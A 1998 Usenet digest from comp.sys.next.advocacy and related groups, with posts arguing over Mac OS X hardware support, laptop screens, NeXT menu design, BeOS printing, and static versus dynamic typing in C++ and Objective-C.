Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 22 Jul 98 18:22:05 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1DBDE51-12E7A@206.165.43.118>
References: <Pine.SOL.3.96.980722100750.22438A-100000@ux8.cso.uiuc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Pulsar <tokarek@uiuc.edu> said:
>> Yes, Apple ought to support it, but the machine is four years old.
>
>Yeah, but the 8600 that is based on the same motherboard is still
>selling _right_now_ and won't be supported through this decision either.
And the 8600 is (I believe) the machine that Apple told early
adopter-developers to purchase in order to develop for Rhaposdy -the first
Mac supported in DR1, as I recall.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: alt.skuznet.web2news,bln.sci.jura,comp.sys.next.advocacy,uw.lang
From: news@news.msfc.nasa.gov
Message-ID: <cancel.iQBt1.13632$Zk4.3522085@news.inreach.com>
Control: cancel <iQBt1.13632$Zk4.3522085@news.inreach.com>
Subject: cmsg cancel <iQBt1.13632$Zk4.3522085@news.inreach.com>
Organization: http://www.msfc.nasa.gov/
Date: Thu, 23 Jul 1998 07:43:45 GMT
Sender: fugpcpur@hotmail.com
Make Money Fast post canceled by J. Porter Clark.
Date: Wed, 22 Jul 1998 21:18:20 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Message-ID: <joe.ragosta-2207982118210001@elk62.dol.net>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <6p5uhd$1ji$1@supernews.com>
In article <6p5uhd$1ji$1@supernews.com>, kari@gti.net wrote:
> joe.ragosta@dol.net (Joe Ragosta) wrote:
> > In article <6p50k6$b1o$2@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
>
> >> Jeez, if by next year the best they can do is release a consumer
> >> portable with *only* a 9" screen, they deserve what they can
> >> get. There's no excuse today to release anything but an XGA
> >> screen. 12" XGA screens at a minimum.
>
> I don't know, but I get the idea that John said _*ONLY*_ a 9"
> screen. I don't know what you are thinking Joe, does your response
> infer that Apple should only release a 9" screen?... Jeesh... a
> very limiting thought, yet John MIGHT possibly be inferring that
> they should do more... Interesting reaction there, I mean for
> someone who exploits that Apple is deific.
Nonsense. John's implication is that a 9" screen is useless. He
specifically states that there's no reason for less than 12" XGA. That's
nonsense. For some purposes, 9" is plenty.
And it has nothing to do with Apple being deific or any other such
speculation on your part.
>
> > No kidding? Then I must be imagining all these new laptops with
> > 7-10" screens being bandied about.
>
> IMHO the best thing that I can think of to do with a 7-10" screened
> laptop is to bandy it about! Unless you have a docking station with
> a monitor that has some real estate to it. But then again, why
> get the lap top.
Unless the intent of a consumer portable is something that doesn't require
a 17" screen. Are you saying that there's no use for a computer that
doesn't require 17"?
>
> My Toshiba730CDT has an 11" screen (I do mainframe software UNIX
> development/support), and it is too small to do any real good. I
> have to keep an extra monitor about for long term telecommuting.
And maybe that's not the intent of the consumer portable.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 22 Jul 1998 20:32:08 -0500
Organization: Prairie Group
Message-ID: <MPG.10204e80816f66a69899e4@news.supernews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3d1m$mr6$1@camel18.mindspring.com> <6p443i$iom$1@nnrp1.dejanews.com>
In article <6p443i$iom$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca
says...
> In article <6p3d1m$mr6$1@camel18.mindspring.com>,
> Matthew Cromer <matthew_cromer@iname.com> wrote:
>
> > Please.
> >
> > Microsoft doesn't depend on new hardware purchases.
>
> So we should just accept that we have to buy a news machine every time Apple
> wants to improve it's bottom line?
Apple has been shipping Macintoshes for 15 years. It's gone from a
floppy drive OS without real directories to HFS to HFS+, from single
application to multiple applications switched between to multiple
applications with the windows all showing.
In all this time, the number of new OSes that required a new machine is
precisely One (1). While not all old machines have been supported in new
OSes, this is the only time a new OS required a new level of machine.
If this were to ever become a pattern, you'd have a legitimate gripe.
But, one datapoint is not sufficient to define a pattern.
Donald
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
Date: 23 Jul 1998 08:52:46 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6p6tku$8aa$1@news.cs.tu-berlin.de>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6nabot$r2h$4@ns3.vrx.net> < <6p5g8j$bhm$1@news.cs.tu-berlin.de> <6p5l6v$8af@newsb.netnews.att.com>
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Content-Transfer-Encoding: 8bit
gupta@kcopsrm.tm.tta.moc-mirror after @ writes:
[my summary of Lars's definitions snipped]
>This is getting to be rather confusing, especially because
>"type" and "class" are used differently by different writers.
Yes, that is the exact problem we are having here.
>Picking definitions from the g-of-4 "Design Patterns" book :
>Signature (of an operation declared by an object) :
> The operation name, the objects the operation takes as
> parameters, and the operation's return value.
>Interface :
> A set of signatures.
>Type :
> Name used to denote a particular interface (of an object)
>Class :
> Definition of the implementation of an object. The class
> specifies the object's internal data and representation
> and defines the operations that the object can perform.
>Dynamic binding :
> The run-time association of a request to an object and
> one of its operations.
>***
These were pretty much exactly the definitions I was driving at.
I just wanted to motivate them and show that additional restrictions
are not necessary and in a way violate encapsulation. The implementation
of an object is private, it should not be visibile to other parts of
the program, which should only 'see' the published interfaces.
The type-systems of C++, for example, violate this by requiring
clients to know the implementation class hierarchies of the
objects they use.
>Then, the set of all objects with a certain type is not a class.
>e.g. classes and sub-classes share type.
At the least.
>In C++, to share a type, the classes of the objects involved must
>be in the same class inheritance hierarchy (correct or incorrect ?).
>Or perhaps more correctly, you can dynamically bind only if the
>types are in the same class hierarchy.
>In Objective C, to share a type, the classes do not have to be
>related by inheritance (correct or incorrect ?).
Exactly. They just have to implement the same interface (protocol,
named set of signatures).
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: malte@oops.se (Malte Tancred)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MIT's Negroponte abandons Mac
Date: 23 Jul 1998 08:29:12 GMT
Organization: OOPS, Gothenburg
Message-ID: <6p6s8o$fs22@Talisker.taide.net>
References: <9Ibt1.6028$7k7.7216735@news.rdc1.sdca.home.com> <6p4tpk$q56$1@news.tuwien.ac.at> <6p50pt$4et$1@nnrp03.primenet.com> <6p5e0j$1tl$2@msunews.cl.msu.edu>
In article <6p5e0j$1tl$2@msunews.cl.msu.edu>,
<spammers@ruin.the.internet.channelu.com> wrote:
>
>I will make a prediction - IF Apple continues in it's goals of a PPC
>only OS - gross unit sales will continue to decline. They may
>ramp up and peak on the initial iMac offering. But very quickly
>they will drop off. I just can't see anyone in their right mind
>buying a machine that will only take 128MB of memory.
>
>If I wanted a machine to just surf the net, do e-mail, java, etc.
>I'd get a webTV or the like for much cheaper.. I can't see
>anyone using a iMac for any serious development, or graphic
>work. Maybe as a game machine though ;)
>
The iMac isn't supposed to be a platform for
serious development. It's a small machine intended
for private use.
You got a point though. Even a machine used by my
grandma could run, for example, a graphic intensive
application, swallowing loads of memory.
Cheers,
Malte
--
Malte Tancred, OOPS ab
malte at oops dot se
http://www.oops.se
--
Malte Tancred
OOPS art, HB
malte@oops.se, http://www.oops.se/~malte
From: malte@oops.se (Malte Tancred)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: 23 Jul 1998 08:02:59 GMT
Organization: OOPS, Gothenburg
Message-ID: <6p6qnj$fs21@Talisker.taide.net>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc <andyba-ya02408000R2207981149400001@news>
In article <andyba-ya02408000R2207981149400001@news>,
Andy Bates <andyba@corp.webtv.net> wrote:
>In article <6p2t9m$t36$2@cronkite.cygnus.com>, jrudd@cygnus.com wrote:
>
>> Ok, then where does "Print" belong? it's not a "File" operation..
>
>Sure it is! I open the file, edit it, save it, and print it. It
>specifically DOES belong under File.
>
If the purpose of the "Print" is to print a file that is.
Putting "Print" in the root menu implies that priting operations
might be applied elsewhere in the application, not only to
the opened "File".
Your argument is in most cases good for a file based application,
but take a database application for example. It might not have the
concept of a file. It might not even have a menu titled "File".
>> NeXT did it right by having the root-menu allow direct actions (like "Print",
>> "Hide", and "Quit"). Perhaps putting the "Quit" in the application/finder
>> menu at the upper-right corner (where "Hide" currently lives) would work.
>
>And again: ech, no. All of the most-commonly-used functions are along the
>left-hand side...except for THE most-commonly-used function, which is in a
>menu on the right-hand side? Please. How much UI tesing have you done? I
>think there is a strong case for putting it under File. Believe me, as much
>as you have complaints about the logic of the location of Print or Quit, I
>have NEVER heard users complaining about their placement.
>
I believe most people in the NeXT community have a few of these
complaints on other OSes. Once you become familiar with the concepts
of the NeXT UI you easily get caught. Why? Because it is a very
well designed and well thought-out UI. I don't say it is perfect,
I just say it is good.
>> If you're going to have heirarchical menus, then you need to recognize that
>> some operations aren't going to fit into your hierarchies/catagories,
>
>Why? If you have an operation that doesn't fit into your categories, than
>you need new categories.
>
The root menu is in fact the "application category".
You "Quit" and "Hide" the application, not a document or a window.
Regarding the "Print" operation, I'll refer to my comment above.
Printing doesn't neccessary have to do with a document or a file,
which makes it fit nice at the root level.
Just my two cents.
Cheers,
Malte
--
Malte Tancred, OOPS ab
malte at oops dot se
http://www.oops.se
--
Malte Tancred
OOPS art, HB
malte@oops.se, http://www.oops.se/~malte
From: Jay Riley <datamagik@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 23 Jul 1998 08:40:09 GMT
Organization: DATAMAGIK
Message-ID: <6p6st9$q0d@lace.colorado.edu>
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu> <6p4s4r$rhi$1@server.signat.org>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
maury@remove_this.istar.ca (Maury Markowitz) :
> In <6p3s46$2v3@lace.colorado.edu> Jay Riley wrote:
> > I basically agree with Maury on the points he makes so I'm leaving the
> quoted
> > stuff alone, but want to add:
> >
> > I've read of a project to port BeOS API's to Yellow Box.
>
> Uhhh, I think you mean to port YB to BeOS?
>
> Maury
>
Actually what I recall (I may have miss-read...perhaps I'll see if I can find
the post again) was talking about porting BeOS API's to run on Yellow.
Although you could approach it from either angle.
--
Regards,
Jay Riley/Owner, DATAMAGIK
[MacOS email to datamagik@usa.net]
^ DATAMAGIK PO Box 6083 Boulder CO 80306
^ Systems, Software, and Design Engineering
^ 01+ (303)447-6555 jay.riley@usa.net
Posted from BeOS for PowerPC, Release 3.1
Date: Wed, 22 Jul 1998 21:22:20 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2207982122200001@elk62.dol.net>
References: <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <B1DBDD02-DFC5@206.165.43.118>
In article <B1DBDD02-DFC5@206.165.43.118>, "Lawson English"
<english@primenet.com> wrote:
> Donald Brown <don.brown@cesoft.com> said:
> Lawson English <english@primenet.com> said:
>
> >> Betcha that even if 1 million of us said that we were willing to pay $50
> >> more, that Apple would still say "no" to a pre-G3 version of MacOS X
> >> because it's not about expenses, but about control.
> >
> >Will you add a statement that you are willing to wait one year after the
> >G3 version is released?
>
> Yep, if need be, although I don't see why I would have to if it is merely a
> matter of testing. Testing of all versions can be done concurrently, given
> enough manpower.
And that's _exactly_ the problem. In case you hadn't noticed, Apple
doesn't have unlimited manpower.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 23 Jul 1998 10:01:46 +0000
From: christian.bau@isltd.insignia.com (Christian Bau)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <christian.bau-2307981001460001@christian-mac.isltd.insignia.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3d1m$mr6$1@camel18.mindspring.com> <6p443i$iom$1@nnrp1.dejanews.com> <christian.bau-2207981248270001@christian-mac.isltd.insignia.com> <6p5ag5$6ol$1@nnrp1.dejanews.com>
Organization: Insignia Solutions
Cache-Post-Path: proxy0.isltd.insignia.com!unknown@christian-mac.isltd.insignia.com
In article <6p5ag5$6ol$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <christian.bau-2207981248270001@christian-mac.isltd.insignia.com>,
> christian.bau@isltd.insignia.com (Christian Bau) wrote:
>
> > What about a bit of reality check? MacOS X is not here. Nobody knows what
> > it will or will not run on. Windows98 is there. And it doesnt run on a
> > very significant amount of machines.
>
> 1) Avie said that it was unlikely that MacOS X would run on even a subset of
> the 604e models. He said that there was almost no chance of it running on the
> 603e models. He didn't even mention the 601 models. Do you know of a better
> source than him?
>
> 2) Windows 98 will run on a 486/66 or better. You'd probably need something
> better than that to not kill yourself waiting for stuff to happen though.
Quotes from PCWeek, 14th July 1998: "The systems that could have the most
to gain from performance improvements - the 486DX2 to low-speed Pentium
based PCs - may have fallen too far down the technology curve." "However,
many companies are outright banning their users from upgrading, in part
because of myriad bugs coming to light since the software shipped two
weeks ago." "Several major PC vendors, including Dell and Toshiba, issued
warnings to customers of some notebook models, advising them to delay
upgrading to Windows 98".
From: Earl Malmrose <malmrose@nospam.jetcity.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 23 Jul 1998 09:12:45 GMT
Organization: doesn't
Message-ID: <6p6uqd$t90$1@news5.ispnews.com>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <Pine.LNX.3.95.980720174226.8608V-100000@rainier.virtual-impact.com> <joe.ragosta-2107980827300001@0.0.0.0> <6p2o5v$pr9$2@news5.ispnews.com> <joe.ragosta-2207980827140001@wil103.dol.net>
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NNTP-Posting-Date: 23 Jul 1998 09:12:45 GMT
joe.ragosta@dol.net (Joe Ragosta) :
> In article <6p2o5v$pr9$2@news5.ispnews.com>, Earl Malmrose
> <malmrose@nospam.jetcity.com> wrote:
>
> > joe.ragosta@dol.net (Joe Ragosta) :
> > > I wouldn't be surprised if Be is in a hurry to get a final, working OS
> out
> > > the door. A lot of issues are going to get pushed aside until the major
> > > issues are resolved and the OS is ready for everyday consumer use.
> >
> > What major issues?
>
> Well, I haven't shelled out the money for the current release, but someone
> posted recently that BeOS will only print over Ethernet in its current
> form. That seems like a significant issue.
In the current form I have, it prints fine to my parallel Epson Stylus
printer, so someone misled you.
--
--Woohoo, this message posted from BeOS/Intel R3.1!
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dcl9gs.6ycy4g1y4qm80N@dialup242-2-41.swipnet.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <6p5g8j$bhm$1@news.cs.tu-berlin.de>
Organization: pv
Date: Thu, 23 Jul 1998 09:16:00 GMT
NNTP-Posting-Date: Thu, 23 Jul 1998 11:16:00 MET DST
Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
> You are looking for the minimal subset/essential core of OO.
Yes. The reason is to see how my view of OO differs from yours in order
to understand why it is OK to ignore type/class in dynamic OO. I had a
problem with that since I find type central. I felt that I must be
missing some crucial component.
> Is that a fair assessment? Please correct me if it isn't.
Yes, with a few comments: Behaviour (operations) is the important part
so we can mostly ignore representation and implementation and thus get
the abstract type. I also missed that the accumulated effects of the
operations can be described as abstract state. If you ask a ship-object
what velocity it has the answer will depend on previous ship operations.
It's OK to provide different implementations and it is still the same
abstract type. You know, the shape, rectangle, triangle, circle thing.
They all share the same abstract type - shape. The shared operations are
the same, those of shape, even though they are implemented differently
and might have other unshared operations.
So operations can be viewed separate from their implementations, but
does an operation make sense in isolation from the (abstract) type?
I think this is were the problem is. I feel that operations of a type
are somehow connected through the abstract state and therefore
inseparable from the type. This makes each abstract operation unique
within a program. The Shape operation Draw() is unique, it is the same
set of pre/postconditions regardless of whether it is implemented by a
Rectangle or a Circle. It is also connected to other ops of Shape
through the abstract state. Let's say that you first ask a Circle (a
Shape) to use dotted lines and later, perhaps much later, request
Draw(). Because of the abstract state of Shape(), the Circle Draw() will
use dotted lines. If you instead used a Draw() from some unrelated type
there is nothing that says the lines would be dotted or even that there
would be lines. The operations are not the same because they are from
different abstract types. If I understand you correctly, you say that
this is wrong. An operation from one abstract type can and should be
able to replace an operation from another abstract type.
> but there are simpler,
> more concrete questions such as "is the representation and the
> implementation necessary for a notion of 'type' in the context
> of OO languages?".
My answer would be: No. Not as I understand it. See comments above.
> Other questions fall along the lines of "what do I gain with
> a dynamic runtime, what do I lose, can I have one without the
> other etc.?"
> Shall we talk about those questions?
Sure, but I think that perhaps it is very hard to discuss advantages of
dynamic/static separate from a language because every language I have
ever used is far from perfect. There are lots of annoying things that
get in the way or are missing or just bad and these imperfections can
easily lead such discussions astray. Just because language X (or its
compiler) fails in one area or detail doesn't mean the principle is
wrong. Anyway, please tell me: "what do I gain with a dynamic runtime,
what do I lose, can I have one without the other etc.?"
- Lars
PS. Maybe the reply to the new set of questions should have a new
subject? I think we've scared all the others away and this is sort of a
fresh start. In case this turns out to be the end of this discussion I'd
like to thank you for your patience. I've learned a lot and you have
reopened my eyes to the dynamic stuff that had become thoroughly buried
deep down. It's many years since I last used dynamic languages. Maybe I
should go dig up that Allegro Common Lisp buried under at least 1 cm of
dust somewhere after all...
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Static typing and dynamic binding
From: lars.farm@ite.mh.se (Lars Farm)
Message-ID: <1dcmane.hm0sis11p1uccN@dialup242-2-41.swipnet.se>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <billa-2206981913080001@archbald-96.slip.uiuc.edu> <6moqam$4os$1@nnrp1.dejanews.com> <359011E4.C8A51B95@cisco.com> <6n08oi$rrs$1@nnrp1.dejanews.com> <6mvtgs$hnm$3@ns3.vrx.net> <6n0mol$sh2$1@flotsam.uits.indiana.edu> <6n0ap7$r0e$1@ns3.vrx.net> <6n141n$tvf$1@flotsam.uits.indiana.edu> <6n11ie$du4$1@ns3.vrx.net> <6n1pko$v47$1@flotsam.uits.indiana.edu> <3594FE42.F137BD6B@nstar.net> <6n7no4$p6j$2@ns3.vrx.net> <3598248E.28605285@nstar.net> <6nabot$r2h$4@ns3.vrx.net> <6p5g8j$bhm$1@news.cs.tu-berlin.de> <6p5l6v$8af@newsb.netnews.att.com> <6p6tku$8aa$1@news.cs.tu-berlin.de>
Organization: pv
Date: Thu, 23 Jul 1998 09:35:02 GMT
NNTP-Posting-Date: Thu, 23 Jul 1998 11:35:02 MET DST
Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
> The type-systems of C++, for example, violate this by requiring
> clients to know the implementation class hierarchies of the
> objects they use.
class Foo {
public:
// ...
private:
struct Rep; Rep* rep_;
};
(and I do use this idiom where I find it apropriate) If you want to
stick everything as member variables you *can* do that, but there is no
such requirement.
- Lars
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Wed, 22 Jul 1998 21:23:40 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2207982123410001@sdn-ar-001casbarp145.dialsprint.net>
References: <joe.ragosta-2207982122200001@elk62.dol.net> <B1DBE931-3BCBE@206.165.43.118>
In article <B1DBE931-3BCBE@206.165.43.118>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >And that's _exactly_ the problem. In case you hadn't noticed, Apple
> >doesn't have unlimited manpower.
>
>
>
> But if a million of us indicated taht we'd be willing to pay $50 more each,
> Apple would certainly have the manpower in short order if they wanted that
> $50 extra ON TOP OF the normal income from MacOS X sales.
>
> In fact, I'm guessing that more 604e customers would be willing to buy
> MacOS X than G3 customers because the G3 sales were towards consumers, but
> early 604/604e sales were all towards professionals.
>
> Anyone Mac developer who wanted to develop for Rhapsody HAD to purchase a
> 604e machine -the G3 machines STILL are not supported all that well, or at
> least not the laptops.
Come on guys, lets get realistic. I tell you what, if these "million
people" agree to pay $50 up front, we can have someone who knows high
level people at apple agree to the following plan:
when 1 million people each pony up $50 hard cash into this account (so
thats $50 million dollars) which will be for getting os x to run on all
pci machines, apple will promptly use this money to start making os x run
on all pci machines. BUT not UNTILL the $50 million dollars is in the
special account.
I bet Apple would agree to this too. That if some lawyer type sets up
this account (apple wouldnt want to set up the account, they sure as hell
arent going to take the responsibility, especially if it doesnt get the
$50 million and people want their money back, nope its not apples
responsibility).
Apple then agrees that they have absolutely no obligation responsibility
with the "fund" untill the $50 million is raised and given to Apple, and
then and only then does Apple obligate itself make sure os x will run on
all pci powermacs.
Ya see, its one thing to say "I would gladly pay $50", its quite another
to pony up this $50 in advance
--
Joe [Ragosta], do not look directly at the RDF. What you want
to do is punch a hole in a piece of cardboard and
make a pin-hole camera to observe the RDF from a safe distance.
- Sal Denaro
Date: Thu, 23 Jul 1998 06:42:54 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2307980642550001@elk33.dol.net>
References: <joe.ragosta-2207982122200001@elk62.dol.net> <B1DBE931-3BCBE@206.165.43.118>
In article <B1DBE931-3BCBE@206.165.43.118>, "Lawson English"
<english@primenet.com> wrote:
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >And that's _exactly_ the problem. In case you hadn't noticed, Apple
> >doesn't have unlimited manpower.
>
>
>
> But if a million of us indicated taht we'd be willing to pay $50 more each,
> Apple would certainly have the manpower in short order if they wanted that
> $50 extra ON TOP OF the normal income from MacOS X sales.
You've always got a lot of "ifs". Did you get the 10 million dollars you
claimed your research foundation said you'd get "if only 1 million Mac
users would donate $10 each" or whatever your numbers are? Speculation is
fine. Just don't confuse it with real life.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 23 Jul 1998 11:02:36 GMT
Organization: I don't think so
Message-ID: <slrn6re6an.32b.jason@jhste1.dyn.ml.org>
References: <joe.ragosta-2207982122200001@elk62.dol.net> <B1DBE931-3BCBE@206.165.43.118> <Macghod-2207982123410001@sdn-ar-001casbarp145.dialsprint.net>
Steve Sullivan posted the following to comp.sys.mac.advocacy:
>Come on guys, lets get realistic. I tell you what, if these "million
>people" agree to pay $50 up front, we can have someone who knows high
>level people at apple agree to the following plan:
>when 1 million people each pony up $50 hard cash into this account (so
>thats $50 million dollars) which will be for getting os x to run on all
>pci machines, apple will promptly use this money to start making os x run
>on all pci machines. BUT not UNTILL the $50 million dollars is in the
>special account.
>I bet Apple would agree to this too. That if some lawyer type sets up
>this account (apple wouldnt want to set up the account, they sure as hell
>arent going to take the responsibility, especially if it doesnt get the
>$50 million and people want their money back, nope its not apples
>responsibility).
>Apple then agrees that they have absolutely no obligation responsibility
>with the "fund" untill the $50 million is raised and given to Apple, and
>then and only then does Apple obligate itself make sure os x will run on
>all pci powermacs.
>Ya see, its one thing to say "I would gladly pay $50", its quite another
>to pony up this $50 in advance
It's called paying for vaporware.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 23 Jul 1998 11:03:57 GMT
Organization: I don't think so
Message-ID: <slrn6re6d9.32b.jason@jhste1.dyn.ml.org>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <MPG.101e43ebee3790959899d5@news.supernews.com> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p3d1m$mr6$1@camel18.mindspring.com> <6p443i$iom$1@nnrp1.dejanews.com> <MPG.10204e80816f66a69899e4@news.supernews.com> <6p6loq$ood$1@nnrp1.dejanews.com>
quinlan@my-dejanews.com posted the following to comp.sys.mac.advocacy:
>> In all this time, the number of new OSes that required a new machine is
>> precisely One (1). While not all old machines have been supported in new
>> OSes, this is the only time a new OS required a new level of machine.
>You mean within a platform, right? So the Apple II to Macintosh transition
>doesn't count? If you are not counting that then I can't think of any time
>Microsoft has required a new level of machine. Nor can I think of any examples
>from Sun, Atari, SGI, etc. Can you think of any OS vendor who has done this to
>their customers?
m68k->SPARC (Sun). AFAIK, Solaris never supported m68k.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Thu, 23 Jul 1998 00:47:37 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6p6179$3e8$1@nnrp1.dejanews.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu>
In article <35b6568f.0@news.depaul.edu>,
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> What exactly are you loyal to? Apple seems to have a lot of 'loyal'
> customers who will do *anything* to avoid buying Apple's products.
I can't speak for the origical poster, but Apple is hard to be loyal too. They
make Brownian Motion seem predictable and some of their random movements hurt
their customers. And they are even worst to their developers.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
